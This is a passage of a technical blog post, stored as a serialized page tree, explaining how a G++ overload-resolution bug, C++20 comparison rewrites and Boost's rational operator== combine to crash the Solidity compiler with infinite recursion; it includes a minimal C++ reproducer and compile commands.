}\n",[92118],{"type":23,"tag":154,"props":92119,"children":92120},{"__ignoreMap":7},[92121],{"type":23,"tag":504,"props":92122,"children":92123},{"class":5016,"line":5017},[92124,92128,92132,92136,92141,92145,92149],{"type":23,"tag":504,"props":92125,"children":92126},{"style":5067},[92127],{"type":29,"value":17626},{"type":23,"tag":504,"props":92129,"children":92130},{"style":5058},[92131],{"type":29,"value":5110},{"type":23,"tag":504,"props":92133,"children":92134},{"style":5047},[92135],{"type":29,"value":6613},{"type":23,"tag":504,"props":92137,"children":92138},{"style":5058},[92139],{"type":29,"value":92140},"lengthValue ",{"type":23,"tag":504,"props":92142,"children":92143},{"style":5047},[92144],{"type":29,"value":1224},{"type":23,"tag":504,"props":92146,"children":92147},{"style":5083},[92148],{"type":29,"value":5086},{"type":23,"tag":504,"props":92150,"children":92151},{"style":5058},[92152],{"type":29,"value":92153},") { ... }\n",{"type":23,"tag":32,"props":92155,"children":92156},{},[92157,92159,92165],{"type":29,"value":92158},"That single comparison — a ",{"type":23,"tag":154,"props":92160,"children":92162},{"className":92161},[],[92163],{"type":29,"value":92164},"boost::rational",{"type":29,"value":92166}," compared to 0 — causes infinite recursion in G++ \u003C 14 when compiled under C++20. And the resulting stack overflow crashes solc.",{"type":23,"tag":32,"props":92168,"children":92169},{},[92170],{"type":29,"value":92171},"This post unpacks how this happened — and why none of the individual components are technically \"broken\":",{"type":23,"tag":1022,"props":92173,"children":92174},{},[92175,92180,92185],{"type":23,"tag":143,"props":92176,"children":92177},{},[92178],{"type":29,"value":92179},"A 12-year-old overload resolution bug in G++",{"type":23,"tag":143,"props":92181,"children":92182},{},[92183],{"type":29,"value":92184},"An outdated symmetric comparison pattern in Boost",{"type":23,"tag":143,"props":92186,"children":92187},{},[92188],{"type":29,"value":92189},"A subtle but impactful rewrite rule in C++20",{"type":23,"tag":32,"props":92191,"children":92192},{},[92193],{"type":29,"value":92194},"Put together, they form a perfect storm — one that takes down Solidity compilation on default Linux setups, even though your code is perfectly fine.",{"type":23,"tag":20844,"props":92196,"children":92197},{},[],{"type":23,"tag":24,"props":92199,"children":92201},{"id":92200},"background-the-setup",[92202],{"type":29,"value":92203},"Background: The Setup",{"type":23,"tag":32,"props":92205,"children":92206},{},[92207,92209,92216],{"type":29,"value":92208},"If you follow the ",{"type":23,"tag":68,"props":92210,"children":92213},{"href":92211,"rel":92212},"https://docs.soliditylang.org/en/v0.8.30/installing-solidity.html#building-from-source",[72],[92214],{"type":29,"value":92215},"Solidity build documentation (v0.8.30)",{"type":29,"value":92217},", you'll see it recommends:",{"type":23,"tag":1022,"props":92219,"children":92220},{},[92221,92226],{"type":23,"tag":143,"props":92222,"children":92223},{},[92224],{"type":29,"value":92225},"Boost ≥ 1.67",{"type":23,"tag":143,"props":92227,"children":92228},{},[92229],{"type":29,"value":92230},"GCC ≥ 11",{"type":23,"tag":32,"props":92232,"children":92233},{},[92234],{"type":29,"value":92235},"Ubuntu 22.04, for example, ships with:",{"type":23,"tag":1022,"props":92237,"children":92238},{},[92239,92244],{"type":23,"tag":143,"props":92240,"children":92241},{},[92242],{"type":29,"value":92243},"G++ 11.4.0",{"type":23,"tag":143,"props":92245,"children":92246},{},[92247],{"type":29,"value":92248},"Boost 1.74.0",{"type":23,"tag":32,"props":92250,"children":92251},{},[92252],{"type":29,"value":92253},"So far, so good.",{"type":23,"tag":32,"props":92255,"children":92256},{},[92257,92259,92264],{"type":29,"value":92258},"However, Solidity enabled ",{"type":23,"tag":38,"props":92260,"children":92261},{},[92262],{"type":29,"value":92263},"C++20",{"type":29,"value":92265}," in January 2025:",{"type":23,"tag":446,"props":92267,"children":92268},{},[92269],{"type":23,"tag":32,"props":92270,"children":92271},{},[92272],{"type":23,"tag":68,"props":92273,"children":92276},{"href":92274,"rel":92275},"https://github.com/ethereum/solidity/commit/233a5081835a04939ccf85dfb5286c0b53d23c66",[72],[92277],{"type":29,"value":92278},"Enable C++20 in Solidity",{"type":23,"tag":32,"props":92280,"children":92281},{},[92282],{"type":29,"value":92283},"This wasn't accompanied by an update to the versions of dependencies in the documentation. As we'll soon see, that's what opened the trapdoor.",{"type":23,"tag":20844,"props":92285,"children":92286},{},[],{"type":23,"tag":24,"props":92288,"children":92290},{"id":92289},"part-i-a-12-year-old-g-bug-in-overload-resolution",[92291],{"type":29,"value":92292},"Part I: A 12-Year-Old G++ Bug in Overload Resolution",{"type":23,"tag":320,"props":92294,"children":92296},{"id":92295},"whats-overload-resolution",[92297],{"type":29,"value":92298},"What’s Overload Resolution?",{"type":23,"tag":32,"props":92300,"children":92301},{},[92302,92304,92310,92312,92318,92320,92325,92327,92332,92334,92340,92342,92347,92348,92354],{"type":29,"value":92303},"In C++, when you write an expression like ",{"type":23,"tag":154,"props":92305,"children":92307},{"className":92306},[],[92308],{"type":29,"value":92309},"a == b",{"type":29,"value":92311},", the compiler chooses among available ",{"type":23,"tag":154,"props":92313,"children":92315},{"className":92314},[],[92316],{"type":29,"value":92317},"operator==",{"type":29,"value":92319}," implementations by comparing their ",{"type":23,"tag":38,"props":92321,"children":92322},{},[92323],{"type":29,"value":92324},"match quality",{"type":29,"value":92326},". A ",{"type":23,"tag":38,"props":92328,"children":92329},{},[92330],{"type":29,"value":92331},"member function",{"type":29,"value":92333}," like ",{"type":23,"tag":154,"props":92335,"children":92337},{"className":92336},[],[92338],{"type":29,"value":92339},"a.operator==(b)",{"type":29,"value":92341}," usually has higher priority than a ",{"type":23,"tag":38,"props":92343,"children":92344},{},[92345],{"type":29,"value":92346},"non-member function",{"type":29,"value":92333},{"type":23,"tag":154,"props":92349,"children":92351},{"className":92350},[],[92352],{"type":29,"value":92353},"operator==(a, b)",{"type":29,"value":92355}," — unless the types differ too much or are ambiguous.",{"type":23,"tag":32,"props":92357,"children":92358},{},[92359],{"type":29,"value":92360},"That’s the rule. But G++ didn’t always follow it.",{"type":23,"tag":320,"props":92362,"children":92364},{"id":92363},"the-bug",[92365],{"type":29,"value":92366},"The Bug",{"type":23,"tag":32,"props":92368,"children":92369},{},[92370,92372,92379],{"type":29,"value":92371},"In 2012, a bug was filed: ",{"type":23,"tag":68,"props":92373,"children":92376},{"href":92374,"rel":92375},"https://gcc.gnu.org/bugzilla/show_bug.cgi?id=53499",[72],[92377],{"type":29,"value":92378},"GCC Bug 53499 – overload resolution favors non-member function",{"type":29,"value":92380},". The issue? In expressions where:",{"type":23,"tag":1022,"props":92382,"children":92383},{},[92384,92404],{"type":23,"tag":143,"props":92385,"children":92386},{},[92387,92389,92395,92397,92402],{"type":29,"value":92388},"A class ",{"type":23,"tag":154,"props":92390,"children":92392},{"className":92391},[],[92393],{"type":29,"value":92394},"rational\u003CT>",{"type":29,"value":92396}," has a templated ",{"type":23,"tag":154,"props":92398,"children":92400},{"className":92399},[],[92401],{"type":29,"value":92317},{"type":29,"value":92403}," member function",{"type":23,"tag":143,"props":92405,"children":92406},{},[92407,92409,92415],{"type":29,"value":92408},"There's also a more generic free ",{"type":23,"tag":154,"props":92410,"children":92412},{"className":92411},[],[92413],{"type":29,"value":92414},"operator==(rational\u003CT>, U)",{"type":29,"value":40270},{"type":23,"tag":32,"props":92417,"children":92418},{},[92419],{"type":23,"tag":38,"props":92420,"children":92421},{},[92422],{"type":29,"value":92423},"Clang correctly chooses the member function.",{"type":23,"tag":32,"props":92425,"children":92426},{},[92427],{"type":23,"tag":38,"props":92428,"children":92429},{},[92430],{"type":29,"value":92431},"G++ (before v14) chooses the non-member function.",{"type":23,"tag":32,"props":92433,"children":92434},{},[92435,92437,92442,92444,92451],{"type":29,"value":92436},"Why? Because G++ mishandles ",{"type":23,"tag":38,"props":92438,"children":92439},{},[92440],{"type":29,"value":92441},"templated conversion + non-exact match",{"type":29,"value":92443},", overvaluing a non-member function with worse match quality. It does not correctly apply the overload resolution ranking rules defined in ",{"type":23,"tag":68,"props":92445,"children":92448},{"href":92446,"rel":92447},"https://cplusplus.github.io/CWG/issues/532.html",[72],[92449],{"type":29,"value":92450},"CWG532: Member/nonmember operator template partial ordering",{"type":29,"value":357},{"type":23,"tag":320,"props":92453,"children":92455},{"id":92454},"a-minimal-reproducer",[92456],{"type":29,"value":92457},"A Minimal Reproducer",{"type":23,"tag":32,"props":92459,"children":92460},{},[92461],{"type":29,"value":92462},"Let’s see this in action:",{"type":23,"tag":4743,"props":92464,"children":92466},{"code":92465,"language":31166,"meta":7,"className":31164,"style":7},"#include \u003Ciostream>\n\ntemplate \u003Ctypename IntType>\nclass rational {\npublic:\n    template \u003Cclass T>\n    bool operator==(const T& i) const {\n        std::cout \u003C\u003C \"clang++ resolved member\" \u003C\u003C std::endl;\n        return true;\n    }\n};\n\ntemplate \u003Cclass Arg, class IntType>\nbool operator==(const rational\u003CIntType>& a, const Arg& b) {\n    std::cout \u003C\u003C \"g++ \u003C14 resolved non-member\" \u003C\u003C std::endl;\n    return false;\n}\n\nint main() {\n    rational\u003Cint> r;\n    return r == 0;\n}\n",[92467],{"type":23,"tag":154,"props":92468,"children":92469},{"__ignoreMap":7},[92470,92483,92490,92515,92531,92539,92563,92608,92636,92651,92658,92665,92672,92708,92777,92802,92817,92824,92831,92847,92872,92896],{"type":23,"tag":504,"props":92471,"children":92472},{"class":5016,"line":5017},[92473,92478],{"type":23,"tag":504,"props":92474,"children":92475},{"style":5067},[92476],{"type":29,"value":92477},"#include",{"type":23,"tag":504,"props":92479,"children":92480},{"style":6297},[92481],{"type":29,"value":92482}," \u003Ciostream>\n",{"type":23,"tag":504,"props":92484,"children":92485},{"class":5016,"line":4868},[92486],{"type":23,"tag":504,"props":92487,"children":92488},{"emptyLinePlaceholder":15},[92489],{"type":29,"value":5734},{"type":23,"tag":504,"props":92491,"children":92492},{"class":5016,"line":4876},[92493,92497,92501,92506,92511],{"type":23,"tag":504,"props":92494,"children":92495},{"style":5030},[92496],{"type":29,"value":68279},{"type":23,"tag":504,"props":92498,"children":92499},{"style":5058},[92500],{"type":29,"value":10764},{"type":23,"tag":504,"props":92502,"children":92503},{"style":5030},[92504],{"type":29,"value":92505},"typename",{"type":23,"tag":504,"props":92507,"children":92508},{"style":5467},[92509],{"type":29,"value":92510}," IntType",{"type":23,"tag":504,"props":92512,"children":92513},{"style":5058},[92514],{"type":29,"value":8038},{"type":23,"tag":504,"props":92516,"children":92517},{"class":5016,"line":5099},[92518,92522,92527],{"type":23,"tag":504,"props":92519,"children":92520},{"style":5030},[92521],{"type":29,"value":72474},{"type":23,"tag":504,"props":92523,"children":92524},{"style":5467},[92525],{"type":29,"value":92526}," rational",{"type":23,"tag":504,"props":92528,"children":92529},{"style":5058},[92530],{"type":29,"value":5333},{"type":23,"tag":504,"props":92532,"children":92533},{"class":5016,"line":5203},[92534],{"type":23,"tag":504,"props":92535,"children":92536},{"style":5030},[92537],{"type":29,"value":92538},"public:\n",{"type":23,"tag":504,"props":92540,"children":92541},{"class":5016,"line":5308},[92542,92547,92551,92555,92559],{"type":23,"tag":504,"props":92543,"children":92544},{"style":5030},[92545],{"type":29,"value":92546},"    template",{"type":23,"tag":504,"props":92548,"children":92549},{"style":5058},[92550],{"type":29,"value":10764},{"type":23,"tag":504,"props":92552,"children":92553},{"style":5030},[92554],{"type":29,"value":72474},{"type":23,"tag":504,"props":92556,"children":92557},{"style":5467},[92558],{"type":29,"value":7964},{"type":23,"tag":504,"props":92560,"children":92561},{"style":5058},[92562],{"type":29,"value":8038},{"type":23,"tag":504,"props":92564,"children":92565},{"class":5016,"line":5336},[92566,92570,92575,92580,92584,92588,92592,92596,92600,92604],{"type":23,"tag":504,"props":92567,"children":92568},{"style":5030},[92569],{"type":29,"value":48535},{"type":23,"tag":504,"props":92571,"children":92572},{"style":5030},[92573],{"type":29,"value":92574}," operator",{"type":23,"tag":504,"props":92576,"children":92577},{"style":5058},[92578],{"type":29,"value":92579},"==(",{"type":23,"tag":504,"props":92581,"children":92582},{"style":5030},[92583],{"type":29,"value":11701},{"type":23,"tag":504,"props":92585,"children":92586},{"style":5467},[92587],{"type":29,"value":7964},{"type":23,"tag":504,"props":92589,"children":92590},{"style":5030},[92591],{"type":29,"value":5151},{"type":23,"tag":504,"props":92593,"children":92594},{"style":5041},[92595],{"type":29,"value":5446},{"type":23,"tag":504,"props":92597,"children":92598},{"style":5058},[92599],{"type":29,"value":5128},{"type":23,"tag":504,"props":92601,"children":92602},{"style":5030},[92603],{"type":29,"value":11701},{"type":23,"tag":504,"props":92605,"children":92606},{"style":5058},[92607],{"type":29,"value":5333},{"type":23,"tag":504,"props":92609,"children":92610},{"class":5016,"line":5349},[92611,92616,92621,92626,92631],{"type":23,"tag":504,"props":92612,"children":92613},{"style":5058},[92614],{"type":29,"value":92615},"        std::cout ",{"type":23,"tag":504,"props":92617,"children":92618},{"style":5047},[92619],{"type":29,"value":92620},"\u003C\u003C",{"type":23,"tag":504,"props":92622,"children":92623},{"style":6297},[92624],{"type":29,"value":92625}," \"clang++ resolved member\"",{"type":23,"tag":504,"props":92627,"children":92628},{"style":5047},[92629],{"type":29,"value":92630}," \u003C\u003C",{"type":23,"tag":504,"props":92632,"children":92633},{"style":5058},[92634],{"type":29,"value":92635}," std::endl;\n",{"type":23,"tag":504,"props":92637,"children":92638},{"class":5016,"line":5367},[92639,92643,92647],{"type":23,"tag":504,"props":92640,"children":92641},{"style":5067},[92642],{"type":29,"value":17791},{"type":23,"tag":504,"props":92644,"children":92645},{"style":5030},[92646],{"type":29,"value":14515},{"type":23,"tag":504,"props":92648,"children":92649},{"style":5058},[92650],{"type":29,"value":5061},{"type":23,"tag":504,"props":92652,"children":92653},{"class":5016,"line":5388},[92654],{"type":23,"tag":504,"props":92655,"children":92656},{"style":5058},[92657],{"type":29,"value":5403},{"type":23,"tag":504,"props":92659,"children":92660},{"class":5016,"line":5397},[92661],{"type":23,"tag":504,"props":92662,"children":92663},{"style":5058},[92664],{"type":29,"value":18625},{"type":23,"tag":504,"props":92666,"children":92667},{"class":5016,"line":5649},[92668],{"type":23,"tag":504,"props":92669,"children":92670},{"emptyLinePlaceholder":15},[92671],{"type":29,"value":5734},{"type":23,"tag":504,"props":92673,"children":92674},{"class":5016,"line":5666},[92675,92679,92683,92687,92692,92696,92700,92704],{"type":23,"tag":504,"props":92676,"children":92677},{"style":5030},[92678],{"type":29,"value":68279},{"type":23,"tag":504,"props":92680,"children":92681},{"style":5058},[92682],{"type":29,"value":10764},{"type":23,"tag":504,"props":92684,"children":92685},{"style":5030},[92686],{"type":29,"value":72474},{"type":23,"tag":504,"props":92688,"children":92689},{"style":5467},[92690],{"type":29,"value":92691}," Arg",{"type":23,"tag":504,"props":92693,"children":92694},{"style":5058},[92695],{"type":29,"value":4367},{"type":23,"tag":504,"props":92697,"children":92698},{"style":5030},[92699],{"type":29,"value":72474},{"type":23,"tag":504,"props":92701,"children":92702},{"style":5467},[92703],{"type":29,"value":92510},{"type":23,"tag":504,"props":92705,"children":92706},{"style":5058},[92707],{"type":29,"value":8038},{"type":23,"tag":504,"props":92709,"children":92710},{"class":5016,"line":5683},[92711,92715,92719,92723,92727,92731,92735,92740,92744,92748,92752,92756,92760,92764,92768,92773],{"type":23,"tag":504,"props":92712,"children":92713},{"style":5030},[92714],{"type":29,"value":31740},{"type":23,"tag":504,"props":92716,"children":92717},{"style":5030},[92718],{"type":29,"value":92574},{"type":23,"tag":504,"props":92720,"children":92721},{"style":5058},[92722],{"type":29,"value":92579},{"type":23,"tag":504,"props":92724,"children":92725},{"style":5030},[92726],{"type":29,"value":11701},{"type":23,"tag":504,"props":92728,"children":92729},{"style":5467},[92730],{"type":29,"value":92526},{"type":23,"tag":504,"props":92732,"children":92733},{"style":5058},[92734],{"type":29,"value":2658},{"type":23,"tag":504,"props":92736,"children":92737},{"style":5467},[92738],{"type":29,"value":92739},"IntType",{"type":23,"tag":504,"props":92741,"children":92742},{"style":5058},[92743],{"type":29,"value":12508},{"type":23,"tag":504,"props":92745,"children":92746},{"style":5030},[92747],{"type":29,"value":5151},{"type":23,"tag":504,"props":92749,"children":92750},{"style":5041},[92751],{"type":29,"value":91898},{"type":23,"tag":504,"props":92753,"children":92754},{"style":5058},[92755],{"type":29,"value":4367},{"type":23,"tag":504,"props":92757,"children":92758},{"style":5030},[92759],{"type":29,"value":11701},{"type":23,"tag":504,"props":92761,"children":92762},{"style":5467},[92763],{"type":29,"value":92691},{"type":23,"tag":504,"props":92765,"children":92766},{"style":5030},[92767],{"type":29,"value":5151},{"type":23,"tag":504,"props":92769,"children":92770},{"style":5041},[92771],{"type":29,"value":92772}," b",{"type":23,"tag":504,"props":92774,"children":92775},{"style":5058},[92776],{"type":29,"value":16850},{"type":23,"tag":504,"props":92778,"children":92779},{"class":5016,"line":5696},[92780,92785,92789,92794,92798],{"type":23,"tag":504,"props":92781,"children":92782},{"style":5058},[92783],{"type":29,"value":92784},"    std::cout ",{"type":23,"tag":504,"props":92786,"children":92787},{"style":5047},[92788],{"type":29,"value":92620},{"type":23,"tag":504,"props":92790,"children":92791},{"style":6297},[92792],{"type":29,"value":92793}," \"g++ \u003C14 resolved non-member\"",{"type":23,"tag":504,"props":92795,"children":92796},{"style":5047},[92797],{"type":29,"value":92630},{"type":23,"tag":504,"props":92799,"children":92800},{"style":5058},[92801],{"type":29,"value":92635},{"type":23,"tag":504,"props":92803,"children":92804},{"class":5016,"line":5705},[92805,92809,92813],{"type":23,"tag":504,"props":92806,"children":92807},{"style":5067},[92808],{"type":29,"value":19037},{"type":23,"tag":504,"props":92810,"children":92811},{"style":5030},[92812],{"type":29,"value":11104},{"type":23,"tag":504,"props":92814,"children":92815},{"style":5058},[92816],{"type":29,"value":5061},{"type":23,"tag":504,"props":92818,"children":92819},{"class":5016,"line":5728},[92820],{"type":23,"tag":504,"props":92821,"children":92822},{"style":5058},[92823],{"type":29,"value":5965},{"type":23,"tag":504,"props":92825,"children":92826},{"class":5016,"line":5737},[92827],{"type":23,"tag":504,"props":92828,"children":92829},{"emptyLinePlaceholder":15},[92830],{"type":29,"value":5734},{"type":23,"tag":504,"props":92832,"children":92833},{"class":5016,"line":5746},[92834,92838,92843],{"type":23,"tag":504,"props":92835,"children":92836},{"style":5030},[92837],{"type":29,"value":21098},{"type":23,"tag":504,"props":92839,"children":92840},{"style":5139},[92841],{"type":29,"value":92842}," main",{"type":23,"tag":504,"props":92844,"children":92845},{"style":5058},[92846],{"type":29,"value":17783},{"type":23,"tag":504,"props":92848,"children":92849},{"class":5016,"line":5813},[92850,92855,92859,92863,92867],{"type":23,"tag":504,"props":92851,"children":92852},{"style":5058},[92853],{"type":29,"value":92854},"    rational",{"type":23,"tag":504,"props":92856,"children":92857},{"style":5047},[92858],{"type":29,"value":2658},{"type":23,"tag":504,"props":92860,"children":92861},{"style":5030},[92862],{"type":29,"value":21098},{"type":23,"tag":504,"props":92864,"children":92865},{"style":5047},[92866],{"type":29,"value":12508},{"type":23,"tag":504,"props":92868,"children":92869},{"style":5058},[92870],{"type":29,"value":92871}," r;\n",{"type":23,"tag":504,"props":92873,"children":92874},{"class":5016,"line":5821},[92875,92879,92884,92888,92892],{"type":23,"tag":504,"props":92876,"children":92877},{"style":5067},[92878],{"type":29,"value":19037},{"type":23,"tag":504,"props":92880,"children":92881},{"style":5058},[92882],{"type":29,"value":92883}," r ",{"type":23,"tag":504,"props":92885,"children":92886},{"style":5047},[92887],{"type":29,"value":1224},{"type":23,"tag":504,"props":92889,"children":92890},{"style":5083},[92891],{"type":29,"value":5086},{"type":23,"tag":504,"props":92893,"children":92894},{"style":5058},[92895],{"type":29,"value":5061},{"type":23,"tag":504,"props":92897,"children":92898},{"class":5016,"line":5851},[92899],{"type":23,"tag":504,"props":92900,"children":92901},{"style":5058},[92902],{"type":29,"value":5965},{"type":23,"tag":1022,"props":92904,"children":92905},{},[92906],{"type":23,"tag":143,"props":92907,"children":92908},{},[92909],{"type":29,"value":92910},"Compile with g++\u003C14:",{"type":23,"tag":4743,"props":92912,"children":92914},{"code":92913,"language":6282,"meta":7,"className":6283,"style":7},"g++ -std=c++17 main.cpp -o test && ./test\n",[92915],{"type":23,"tag":154,"props":92916,"children":92917},{"__ignoreMap":7},[92918],{"type":23,"tag":504,"props":92919,"children":92920},{"class":5016,"line":5017},[92921,92926,92931,92936,92941,92945,92950],{"type":23,"tag":504,"props":92922,"children":92923},{"style":5139},[92924],{"type":29,"value":92925},"g++",{"type":23,"tag":504,"props":92927,"children":92928},{"style":6297},[92929],{"type":29,"value":92930}," -std=c++17",{"type":23,"tag":504,"props":92932,"children":92933},{"style":6297},[92934],{"type":29,"value":92935}," main.cpp",{"type":23,"tag":504,"props":92937,"children":92938},{"style":6297},[92939],{"type":29,"value":92940}," -o",{"type":23,"tag":504,"props":92942,"children":92943},{"style":6297},[92944],{"type":29,"value":32733},{"type":23,"tag":504,"props":92946,"children":92947},{"style":5058},[92948],{"type":29,"value":92949}," && ",{"type":23,"tag":504,"props":92951,"children":92952},{"style":5139},[92953],{"type":29,"value":92954},"./test\n",{"type":23,"tag":32,"props":92956,"children":92957},{},[92958],{"type":29,"value":92959},"Output (on g++ 11.4):",{"type":23,"tag":4743,"props":92961,"children":92963},{"code":92962},"g++ \u003C14 resolved non-member\n",[92964],{"type":23,"tag":154,"props":92965,"children":92966},{"__ignoreMap":7},[92967],{"type":29,"value":92962},{"type":23,"tag":1022,"props":92969,"children":92970},{},[92971],{"type":23,"tag":143,"props":92972,"children":92973},{},[92974],{"type":29,"value":92975},"Compile with clang++:",{"type":23,"tag":4743,"props":92977,"children":92979},{"code":92978,"language":6282,"meta":7,"className":6283,"style":7},"clang++ -std=c++17 main.cpp -o test && ./test\n",[92980],{"type":23,"tag":154,"props":92981,"children":92982},{"__ignoreMap":7},[92983],{"type":23,"tag":504,"props":92984,"children":92985},{"class":5016,"line":5017},[92986,92991,92995,92999,93003,93007,93011],{"type":23,"tag":504,"props":92987,"children":92988},{"style":5139},[92989],{"type":29,"value":92990},"clang++",{"type":23,"tag":504,"props":92992,"children":92993},{"style":6297},[92994],{"type":29,"value":92930},{"type":23,"tag":504,"props":92996,"children":92997},{"style":6297},[92998],{"type":29,"value":92935},{"type":23,"tag":504,"props":93000,"children":93001},{"style":6297},[93002],{"type":29,"value":92940},{"type":23,"tag":504,"props":93004,"children":93005},{"style":6297},[93006],{"type":29,"value":32733},{"type":23,"tag":504,"props":93008,"children":93009},{"style":5058},[93010],{"type":29,"value":92949},{"type":23,"tag":504,"props":93012,"children":93013},{"style":5139},[93014],{"type":29,"value":92954},{"type":23,"tag":32,"props":93016,"children":93017},{},[93018],{"type":29,"value":93019},"Output:",{"type":23,"tag":4743,"props":93021,"children":93023},{"code":93022},"clang++ resolved member\n",[93024],{"type":23,"tag":154,"props":93025,"children":93026},{"__ignoreMap":7},[93027],{"type":29,"value":93022},{"type":23,"tag":32,"props":93029,"children":93030},{},[93031],{"type":29,"value":93032},"In short, the wrong function gets picked. G++ was broken here until v14.",{"type":23,"tag":20844,"props":93034,"children":93035},{},[],{"type":23,"tag":24,"props":93037,"children":93039},{"id":93038},"part-ii-c20s-symmetric-comparison-feature",[93040],{"type":29,"value":93041},"Part II: C++20’s Symmetric Comparison Feature",{"type":23,"tag":320,"props":93043,"children":93045},{"id":93044},"what-changed-in-c20",[93046],{"type":29,"value":93047},"What Changed in C++20?",{"type":23,"tag":32,"props":93049,"children":93050},{},[93051,93053,93066,93067,93072],{"type":29,"value":93052},"C++20 introduced the ",{"type":23,"tag":68,"props":93054,"children":93057},{"href":93055,"rel":93056},"https://en.cppreference.com/w/cpp/language/operator_comparison",[72],[93058,93060],{"type":29,"value":93059},"spaceship operator ",{"type":23,"tag":154,"props":93061,"children":93063},{"className":93062},[],[93064],{"type":29,"value":93065},"\u003C=>",{"type":29,"value":4478},{"type":23,"tag":38,"props":93068,"children":93069},{},[93070],{"type":29,"value":93071},"defaulted comparison rewrites",{"type":29,"value":357},{"type":23,"tag":32,"props":93074,"children":93075},{},[93076,93078,93083],{"type":29,"value":93077},"When you define a two-argument ",{"type":23,"tag":154,"props":93079,"children":93081},{"className":93080},[],[93082],{"type":29,"value":92317},{"type":29,"value":93084},", C++20 may implicitly define the \"reversed\" version:",{"type":23,"tag":1022,"props":93086,"children":93087},{},[93088,93099],{"type":23,"tag":143,"props":93089,"children":93090},{},[93091,93093],{"type":29,"value":93092},"If you define: ",{"type":23,"tag":154,"props":93094,"children":93096},{"className":93095},[],[93097],{"type":29,"value":93098},"bool operator==(T1, T2);",{"type":23,"tag":143,"props":93100,"children":93101},{},[93102,93104,93110],{"type":29,"value":93103},"Then ",{"type":23,"tag":154,"props":93105,"children":93107},{"className":93106},[],[93108],{"type":29,"value":93109},"T2 == T1",{"type":29,"value":93111}," may call the same function by reversing the arguments.",{"type":23,"tag":32,"props":93113,"children":93114},{},[93115,93117,93122,93123,93128,93130,93136,93138,93143],{"type":29,"value":93116},"This rewrite is ",{"type":23,"tag":38,"props":93118,"children":93119},{},[93120],{"type":29,"value":93121},"recursive",{"type":29,"value":17378},{"type":23,"tag":154,"props":93124,"children":93126},{"className":93125},[],[93127],{"type":29,"value":92309},{"type":29,"value":93129}," becomes ",{"type":23,"tag":154,"props":93131,"children":93133},{"className":93132},[],[93134],{"type":29,"value":93135},"b == a",{"type":29,"value":93137},", which becomes ",{"type":23,"tag":154,"props":93139,"children":93141},{"className":93140},[],[93142],{"type":29,"value":92309},{"type":29,"value":93144}," again, and so on — if not handled carefully.",{"type":23,"tag":32,"props":93146,"children":93147},{},[93148],{"type":29,"value":93149},"This is great for reducing boilerplate — unless the call becomes ambiguous or self-referential.",{"type":23,"tag":20844,"props":93151,"children":93152},{},[],{"type":23,"tag":24,"props":93154,"children":93156},{"id":93155},"part-iii-the-boost-trapdoor",[93157],{"type":29,"value":93158},"Part III: The Boost Trapdoor",{"type":23,"tag":32,"props":93160,"children":93161},{},[93162,93164,93170,93172,93177],{"type":29,"value":93163},"The old Boost ",{"type":23,"tag":154,"props":93165,"children":93167},{"className":93166},[],[93168],{"type":29,"value":93169},"rational",{"type":29,"value":93171}," class (prior to v1.75) defined both member function and non-member function of ",{"type":23,"tag":154,"props":93173,"children":93175},{"className":93174},[],[93176],{"type":29,"value":92317},{"type":29,"value":6533},{"type":23,"tag":4743,"props":93179,"children":93181},{"code":93180,"language":31166,"meta":7,"className":31164,"style":7},"template \u003Cclass Arg, class IntType>\ntemplate \u003Ctypename IntType>\nclass rational\n{\n    ...\npublic:\n    ...\n    \n    template \u003Cclass T>\n    BOOST_CONSTEXPR typename boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003CT, IntType>::value, bool>::type operator== (const T& i) const\n    {\n       return ((den == IntType(1)) && (num == i));\n    }\n    ...\n}\n\ntemplate \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n   operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n      return a == b; \n}\n",[93182],{"type":23,"tag":154,"props":93183,"children":93184},{"__ignoreMap":7},[93185,93220,93243,93255,93262,93269,93276,93283,93290,93313,93401,93408,93459,93466,93473,93480,93487,93522,93530,93558,93597,93662,93669,93689],{"type":23,"tag":504,"props":93186,"children":93187},{"class":5016,"line":5017},[93188,93192,93196,93200,93204,93208,93212,93216],{"type":23,"tag":504,"props":93189,"children":93190},{"style":5030},[93191],{"type":29,"value":68279},{"type":23,"tag":504,"props":93193,"children":93194},{"style":5058},[93195],{"type":29,"value":10764},{"type":23,"tag":504,"props":93197,"children":93198},{"style":5030},[93199],{"type":29,"value":72474},{"type":23,"tag":504,"props":93201,"children":93202},{"style":5467},[93203],{"type":29,"value":92691},{"type":23,"tag":504,"props":93205,"children":93206},{"style":5058},[93207],{"type":29,"value":4367},{"type":23,"tag":504,"props":93209,"children":93210},{"style":5030},[93211],{"type":29,"value":72474},{"type":23,"tag":504,"props":93213,"children":93214},{"style":5467},[93215],{"type":29,"value":92510},{"type":23,"tag":504,"props":93217,"children":93218},{"style":5058},[93219],{"type":29,"value":8038},{"type":23,"tag":504,"props":93221,"children":93222},{"class":5016,"line":4868},[93223,93227,93231,93235,93239],{"type":23,"tag":504,"props":93224,"children":93225},{"style":5030},[93226],{"type":29,"value":68279},{"type":23,"tag":504,"props":93228,"children":93229},{"style":5058},[93230],{"type":29,"value":10764},{"type":23,"tag":504,"props":93232,"children":93233},{"style":5030},[93234],{"type":29,"value":92505},{"type":23,"tag":504,"props":93236,"children":93237},{"style":5467},[93238],{"type":29,"value":92510},{"type":23,"tag":504,"props":93240,"children":93241},{"style":5058},[93242],{"type":29,"value":8038},{"type":23,"tag":504,"props":93244,"children":93245},{"class":5016,"line":4876},[93246,93250],{"type":23,"tag":504,"props":93247,"children":93248},{"style":5030},[93249],{"type":29,"value":72474},{"type":23,"tag":504,"props":93251,"children":93252},{"style":5467},[93253],{"type":29,"value":93254}," 